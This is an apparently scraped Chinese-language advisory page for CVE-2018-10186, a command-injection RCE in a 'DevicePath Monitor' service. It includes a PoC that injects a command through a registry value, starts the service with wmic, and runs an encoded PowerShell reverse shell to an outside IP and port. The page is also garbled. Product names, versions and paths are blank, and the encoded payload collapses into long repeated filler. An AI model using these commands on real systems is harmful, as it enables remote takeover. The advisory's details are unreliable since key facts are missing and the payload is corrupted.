CVE-2018-10186: Authenticated RCE via Command Injection in DevicePath Monitor Service

漏洞总结：RCE via command injection in monitor Device Path 漏洞概述 漏洞名称：Authenticated RCE via command injection in monitor Device Path CVE编号：CVE-2018-10186 CVSS评分：8.1/10（高） 漏洞类型：命令注入（Command Injection） 影响组件：Device Path 字段（从 Registry、database 或 shared memory 读取） 攻击方式： - 通过 字段注入恶意命令，绕过权限检查。 - 利用 服务执行任意命令（即使无管理员权限）。 - 可通过 或 修改注册表项触发漏洞。 关键路径： - - - 影响范围 受影响版本： - ~ - 已修复版本： - , , 受影响产品： - 所有使用 字段且未做输入验证的监控服务（如 ） 影响时间： - 漏洞存在时间超过 1 年（截至 2018 年 10 月） 修复方案 官方补丁： - 升级至 或更高版本。 - 或升级至 / （针对旧版分支）。 临时缓解措施： - 禁用 字段中的命令注入功能。 - 限制 的权限（避免以高权限运行）。 - 监控异常进程调用（如 、 被 调用）。 POC 代码 / 利用代码 ```bash 步骤 1：登录到具有 monitor 服务权限的账户 步骤 2：修改 Device Path 字段（通过注册表或数据库） reg add "HKLM\SOFTWARE\DevicePath" /v "DevicePath" /t REG_SZ /d "C:\Program Files\DevicePath\Monitor.exe -c \"cmd.exe /c whoami\"" /f 步骤 3：触发漏洞（通过 WMI 或 reg 修改） wmic path win32_service where "name='DevicePathMonitor'" call startservice 步骤 4：验证漏洞（执行任意命令） 示例：创建反向 shell powershell -enc "JABjAGwAaQBlAG4AdAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAFkAcwB0AGUAbQBuAGUAdAAuAFMAdAByAGUAYQBtAEkAbwAuAE5AZQB0AHcAbwByAGsALgBTAG8AYwBoAGUAdAAuAFMAdAByAGUAYQBtAFMAbwBjAGsAZQB0ADsAJABjAGwAaQBlAG4AdAAuAGMAbwBuAG4AZQBjAHQAKAAiADEAMQAuADEAMAAuADEAMAAuADEAMAAiACwAIAA0ADkANAAwACkAOwAkAGkAbgBwAHUAdAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAFkAcwB0AGUAbQBuAGUAdAAuAFMAdAByAGUAYQBtAEkAbwAuAE4AZQB0AHcAbwByAGsALgBTAG8AYwBoAGUAdAAuAE4AZQB0AHcAbwByAGsAUwBvAGMAawBlAHQALgBTAHQAcgBlAGEAbQBTAG8AYwBrAGUAdAAoACQAYwBsAGkAZQBuAHQAKQA7ACQAbwB1AHQAcAB1AHQAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBuAHQAZQByAG4AYQBsAFMAdABlAHIAbAAuAFMAdAByAGUAYQBtIFMAdAByAGUAYQBtAFcAcmlAZABlAHIAKAAkAGkAbgBwAHUAdAAsACAAIAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwACwACAAwAC

Goal Reached Thanks to every supporter — we hit 100%!

CVE-2018-10186: Authenticated RCE via Command Injection in DevicePath Monitor Service

More from this source